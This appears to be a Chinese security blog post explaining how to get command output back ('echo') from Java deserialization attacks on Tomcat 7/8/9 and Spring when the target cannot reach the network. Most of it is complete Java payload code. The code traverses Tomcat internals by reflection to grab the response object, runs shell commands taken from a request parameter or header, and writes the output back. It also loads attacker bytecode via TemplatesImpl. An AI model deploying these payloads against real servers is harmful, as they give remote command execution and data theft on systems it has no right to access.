Java之反序列化回显

在不出网的情况下,想利用Java反序列化只能进行写内存马或者回显,所以回显也是一个比较重要的一个点。

defineClass异常回显

具体的思路就是编写一个恶意类,然后使用自己的恶意的类加载器把执行命令后的结果通过抛出异常的方式抛出

Evil.java

package echo;

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.nio.charset.Charset;

public class Evil {
    public Evil(String cmd) throws Exception{
        InputStream stream = (new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd})).start().getInputStream();
        InputStreamReader r = new InputStreamReader(stream, Charset.forName("gbk"));


        BufferedReader bufferedReader = new BufferedReader(r);
        StringBuffer stringBuffer = new StringBuffer();
        String line;
        while ((line=bufferedReader.readLine())!=null){
            stringBuffer.append(line).append("\n");
        }
        throw new Exception(stringBuffer.toString());
    }
}

EvilClassLoader.java

package echo;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.lang.reflect.Constructor;

public class EvilClassLoader extends ClassLoader{
    private String classname="echo.Evil";
    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        if (name==classname){
            try {
                return defineClass(name,getByte(),0,getByte().length);
            } catch (Exception e) {
                throw new RuntimeException(e);
            }
        }
        return super.findClass(name);
    }
    public byte[] getByte() throws Exception{
        File file = new File("E:\\java反序列化\\untitled4\\target\\classes\\echo\\Evil.class");
        FileInputStream fileInputStream = new FileInputStream(file);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        byte[] bytes=new byte[1024];
        int temp;
        while ((temp=fileInputStream.read(bytes))!=-1){
            byteArrayOutputStream.write(bytes,0,temp);
        }
        byte[] finalBytes = byteArrayOutputStream.toByteArray();
        return finalBytes;
    }

    public static void main(String[] args) throws Exception {
        EvilClassLoader evilClassLoader = new EvilClassLoader();
        Class<?> aClass = evilClassLoader.loadClass("echo.Evil");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(String.class);
        declaredConstructor.newInstance("ipconfig");
    }
}
image-20220914223617122

任意加载字节码回显

不适用Tomcat7的回显

随便搭一个环境,然后打个断点看堆栈信息。

doGet:26, Servlet (com.ch1e.TomcatEcho)
service:655, HttpServlet (javax.servlet.http)
service:764, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:543, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:367, CoyoteAdapter (org.apache.catalina.connector)
service:639, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:881, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1647, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

在调用到service:639, Http11Processor (org.apache.coyote.http11)时,有调用到this.requeset和this.response,我们就在Http11Processor类中寻找这个属性,Http11Processor类继承了AbstractProcessor类

image-20220916164119049

来到AbstractProcessor类,发现有request和response属性,用protected和final修饰

protected final Request request;
protected final Response response;

这两个属性在构造方法时被赋值,一被赋值就没法更改

protected AbstractProcessor(AbstractEndpoint<?, ?> endpoint, Request coyoteRequest, Response coyoteResponse) {
    this.hostNameC = new char[0];
    this.asyncTimeout = -1L;
    this.asyncTimeoutGeneration = 0L;
    this.socketWrapper = null;
    this.errorState = ErrorState.NONE;
    this.endpoint = endpoint;
    this.asyncStateMachine = new AsyncStateMachine(this);
    this.request = coyoteRequest;
    this.response = coyoteResponse;
    this.response.setHook(this);
    this.request.setResponse(this.response);
    this.request.setHook(this);
    this.userDataHelper = new UserDataHelper(this.getLog());
}

所以我们要沿着调用栈往下去寻找设置request和response的地方,发现在对process:881, AbstractProtocol$ConnectionHandler (org.apache.coyote)调试的时候,其中的process中就有request和response对象

image-20220916165934761

这里在这个方法打下断点,重新进行调试,看看process是怎么进行赋值,发现对process进行操作的语句在下图框框处

image-20220916170246577

跟进这个createProcessor方法

protected Processor createProcessor() {
    Http11Processor processor = new Http11Processor(this, this.getEndpoint());
    processor.setAdapter(this.getAdapter());
    processor.setMaxKeepAliveRequests(this.getMaxKeepAliveRequests());
    processor.setConnectionUploadTimeout(this.getConnectionUploadTimeout());
    processor.setDisableUploadTimeout(this.getDisableUploadTimeout());
    processor.setRestrictedUserAgents(this.getRestrictedUserAgents());
    processor.setMaxSavePostSize(this.getMaxSavePostSize());
    return processor;
}

在第一行就new了一个Http11Processor对象给到processor,然后设置了一些参数以后进行return,继续跟进register方法

protected void register(Processor processor) {
    if (this.getProtocol().getDomain() != null) {
        synchronized(this) {
            try {
                long count = this.registerCount.incrementAndGet();
                RequestInfo rp = processor.getRequest().getRequestProcessor();
                rp.setGlobalProcessor(this.global);
                ObjectName rpName = new ObjectName(this.getProtocol().getDomain() + ":type=RequestProcessor,worker=" + this.getProtocol().getName() + ",name=" + this.getProtocol().getProtocolName() + "Request" + count);
                if (this.getLog().isDebugEnabled()) {
                    this.getLog().debug("Register [" + processor + "] as [" + rpName + "]");
                }

                Registry.getRegistry((Object)null, (Object)null).registerComponent(rp, rpName, (String)null);
                rp.setRpName(rpName);
            } catch (Exception var8) {
                this.getLog().warn(AbstractProtocol.sm.getString("abstractProtocol.processorRegisterError"), var8);
            }
        }
    }

}

调用到RequestInfo rp = processor.getRequest().getRequestProcessor();

public RequestInfo getRequestProcessor() {
    return this.reqProcessorMX;
}

返回给rp,然后调用rp.setGlobalProcessor(this.global);,把传进来的RequestGroupInfo类赋值给自身的global属性,传进来的global就是AbstractProtocol类的内部类ConnectionHandler的属性,是一个RequestGroupInfo类型

public void setGlobalProcessor(RequestGroupInfo global) {
    if (global != null) {
        this.global = global;
        global.addRequestProcessor(this);
    } else if (this.global != null) {
        this.global.removeRequestProcessor(this);
        this.global = null;
    }

}
image-20220916172147127

继续来看RequestGroupInfo类,可以发现他有一个processors属性,是一个private和final修饰的,是一个ArrayList,只能存放RequestInfo类

image-20220916172307374

继续来看RequestInfo类,里面就有用private和final修饰的Request类的属性req。req中有个Response类的属性response

image-20220916172358261
image-20220916174310226

刚刚说到req中有个Response类的属性response,但是这个Response类没有继承HttpServletResponse方法,但是他会通过调用自身的getNode方法返回继承HttpServletResponse的方法

所以现在我们的思路就是,通过AbstractProtocol#ConnectionHandler.global->processors->RequestInfo->req->response,还有一个问题就是AbstractProtocol#ConnectionHandler.global这个global属性不是static的,所以我们需要找到存储这个AbstractProtocol类或者AbstractProtocol类的子类的地方。

继续调试寻找,发现调用到service:367, CoyoteAdapter (org.apache.catalina.connector)的时候,自身有个connector属性,这个属性有一个protocolHandler属性,他是Http11NioProtocol类

image-20220918150816207

继承自AbstractHttp11JsseProtocol类,这个类继承自AbstractHttp11Protocol类,AbstractHttp11Protocol类又继承自AbstractProtocol类,经过测试发现确实是可以获取到response对象

image-20220918151250563

所以现在的问题就是要获取到这个connector,在Tomcat启动过程中,会有创建connector对象并且通过调用org.apache.catalina.core.StandardService#addConnector方法进行添加,然后存放在StandardService.connectors中

image-20220918153739592

所以最后的路线就懂了,大概是StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->RequestInfo->req->response

然后就是要获取StandardService

image-20220918153914557
image-20220918154159763

最后的调用链就是Thread.currentThread().getContextClassLoader()-->resources-->context-->context-->service-->StandardService->connectors->connector->protocolHandler->handler->AbstractProtocol$ConnectoinHandler->global->processors->RequestInfo->req->response

最后代码如下

package controller;

import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.coyote.ProtocolHandler;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.*;
import java.lang.reflect.Field;
import java.util.ArrayList;

@WebServlet(name = "TomcatServlet", value = "/TomcatServlet")
public class TomcatServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        response.setContentType("text/html");


        //获取standardContext上下文
        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();

        try {
            //获取StandardContext中的context
            //获取ApplicationContext上下文,因为ApplicationContext是protect修饰
            // 反射获取StandardContext中的context
            Field context = standardContext.getClass().getDeclaredField("context");
            context.setAccessible(true);
            org.apache.catalina.core.ApplicationContext applicationContext = (ApplicationContext) context.get(standardContext);

            // 反射获取context中的service
            Field service = applicationContext.getClass().getDeclaredField("service");
            service.setAccessible(true);
            org.apache.catalina.core.StandardService standardService = (StandardService) service.get(applicationContext);

            // 反射获取service中的connectors
            Field connectors = standardService.getClass().getDeclaredField("connectors");
            connectors.setAccessible(true);
            org.apache.catalina.connector.Connector[] connectors1 = (Connector[]) connectors.get(standardService);

            // 反射获取 AbstractProtocol$ConnectoinHandler 实例
            ProtocolHandler protocolHandler = connectors1[0].getProtocolHandler();
            Field handler = org.apache.coyote.AbstractProtocol.class.getDeclaredField("handler");
            handler.setAccessible(true);
            org.apache.tomcat.util.net.AbstractEndpoint.Handler handler1 = (AbstractEndpoint.Handler) handler.get(protocolHandler);

            // 反射获取global内部的processors
            org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) handler1.getGlobal();
            Field processors = requestGroupInfo.getClass().getDeclaredField("processors");
            processors.setAccessible(true);
            ArrayList<RequestInfo> processors1 = (ArrayList) processors.get(requestGroupInfo);

            // 获取response修改数据
            // 下面循环,可以在这先获取req实例,避免每次循环都反射获取一次
            Field req = RequestInfo.class.getDeclaredField("req");
            req.setAccessible(true);
            for (org.apache.coyote.RequestInfo requestInfo : processors1) {
                org.apache.coyote.Request request1 = (org.apache.coyote.Request) req.get(requestInfo);
                // 转换为 org.apache.catalina.connector.Request 类型
                org.apache.catalina.connector.Request request2 = (org.apache.catalina.connector.Request) request1.getNote(1);
                org.apache.catalina.connector.Response response1 = request2.getResponse();

                // 获取参数
                PrintWriter writer = response1.getWriter();
                String name = System.getProperty("os.name");
                String cmd = request.getParameter("cmd");
                String[] cmds = name != null && name.toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"sh", "-c", cmd};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                byte[] buf = new byte[1024];
                int len = 0;
                ByteArrayOutputStream out = new ByteArrayOutputStream();
                while ((len = in.read(buf)) != -1) {
                    out.write(buf, 0, len);
                }
                writer.write(new String(out.toByteArray()));
                writer.flush();

            }


        } catch (NoSuchFieldException | IllegalAccessException | IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        doGet(request,response);
    }
}

Tomcat7/8/9全版本通用回显方式

上面的回显方法在Tomcat7中无法使用,因为Tomcat7获取到的WebappClassLoaderBase中没有context属性,所以会利用失败

新的链子如下

Thread.currentThread().getThreadGroup() —> NioEndpoint$Poller —> NioEndpoint—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo——->Request——–>Response

通过遍历线程得到NioEndpoint$Poller的父类NioEndpoint,然后再通过获取其父类 NioEndpoint进而获取AbstractProtocol$ConnectoinHandler(handler)>>global-> processors->request

image-20220918204343715

具体的payload如下

package controller;

import org.apache.coyote.*;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.Writer;
import java.lang.reflect.Field;
import java.util.ArrayList;

@WebServlet(name = "Tomcat7Servlet", value = "/Tomcat7Servlet")
public class Tomcat7Servlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

        boolean flag=false;

        try {
            Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads");

            for(int i=0;i< threads.length;i++){
                Thread thread=threads[i];
                String threadName=thread.getName();

                try{
                    Object target= getField(thread,"target");
                    Object this0=getField(target,"this$0");
                    Object handler=getField(this0,"handler");
                    Object global=getField(handler,"global");

                    ArrayList processors=(ArrayList) getField(global,"processors");

                    for (int j = 0; j < processors.size(); j++) {
                        RequestInfo requestInfo = (RequestInfo) processors.get(j);
                        if(requestInfo!=null){
                            Request req=(Request) getField(requestInfo,"req");

                            org.apache.catalina.connector.Request request1 =(org.apache.catalina.connector.Request) req.getNote(1);
                            org.apache.catalina.connector.Response response1 =request1.getResponse();

                            Writer writer=response.getWriter();
                            writer.flush();
                            writer.write("TomcatEcho");
                            flag=true;
                            if(flag){
                                break;
                            }
                        }
                    }

                }catch (Exception e){
                    e.printStackTrace();
                }
                if(flag){
                    break;
                }
            }
        } catch (Exception e){
            e.printStackTrace();
        }


    }
    public static Object getField(Object obj,String fieldName) throws Exception{
        Field field=null;
        Class clas=obj.getClass();

        while(clas!=Object.class){
            try{
                field=clas.getDeclaredField(fieldName);
                break;
            }catch (NoSuchFieldException e){
                clas=clas.getSuperclass();
            }
        }

        if (field!=null){
            field.setAccessible(true);
            return field.get(obj);
        }else{
            throw new NoSuchFieldException(fieldName);
        }


    }

    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

    }
}
package com.ch1e.TomcatEcho;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.xml.transform.TransformerConfigurationException;
import java.lang.reflect.Field;
import java.util.Base64;

@WebServlet(name = "EchoServlet", urlPatterns = {"/Test"})
public class EchoTest extends HttpServlet {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) {
        String text = req.getParameter("base64");
        byte[] code =
                Base64.getDecoder().decode(text);
        TemplatesImpl obj = new TemplatesImpl();
        try {
            setFieldValue(obj, "_bytecodes", new byte[][] {code});
        } catch (Exception e) {
            e.printStackTrace();
        }
        try {
            setFieldValue(obj, "_name", "HelloTemplatesImpl");
        } catch (Exception e) {
            e.printStackTrace();
        }
        try {
            setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        } catch (Exception e) {
            e.printStackTrace();
        }
        try {
            obj.newTransformer();
        } catch (TransformerConfigurationException e) {
            e.printStackTrace();
        }


    }
}


然后写个获取字节码base64加密的即可。

image-20220919110836713

Spring回显

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Method;
import java.util.Scanner;

public class springevil extends AbstractTranslet
{
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
    public springevil() throws Exception{
        Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
        Method m = c.getMethod("getRequestAttributes");
        Object o = m.invoke(null);
        c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
        m = c.getMethod("getResponse");
        Method m1 = c.getMethod("getRequest");
        Object resp = m.invoke(o);
        Object req = m1.invoke(o); // HttpServletRequest
        Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
        Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
        getHeader.setAccessible(true);
        getWriter.setAccessible(true);
        Object writer = getWriter.invoke(resp);
        String cmd = (String)getHeader.invoke(req, "cmd");
        String[] commands = new String[3];
        String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
        if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
            commands[0] = "cmd";
            commands[1] = "/c";
        } else {
            commands[0] = "/bin/sh";
            commands[1] = "-c";
        }
        commands[2] = cmd;
        writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next());
        writer.getClass().getDeclaredMethod("flush").invoke(writer);
        writer.getClass().getDeclaredMethod("close").invoke(writer);
    }
}

org.springframework.web.context.request.RequestContextHolder类中,有个getRequestAttributes方法,返回了自身requestAttributesHolder属性值

image-20220920181348342

requestAttributesHolder属性是org.springframework.web.context.request.ServletRequestAttributes类,其中有request和response属性,并且提供了getter方法去获取他,所以直接反射调用就行了。

image-20220920181624048

参考

https://www.cnblogs.com/akka1/p/16201272.html#autoid-3-0-0

https://fmyyy1.github.io/2022/04/14/%E4%BB%BB%E6%84%8F%E5%8A%A0%E8%BD%BD%E5%AD%97%E8%8A%82%E7%A0%81%E4%B8%8B%E7%9A%84%E5%9B%9E%E6%98%BE/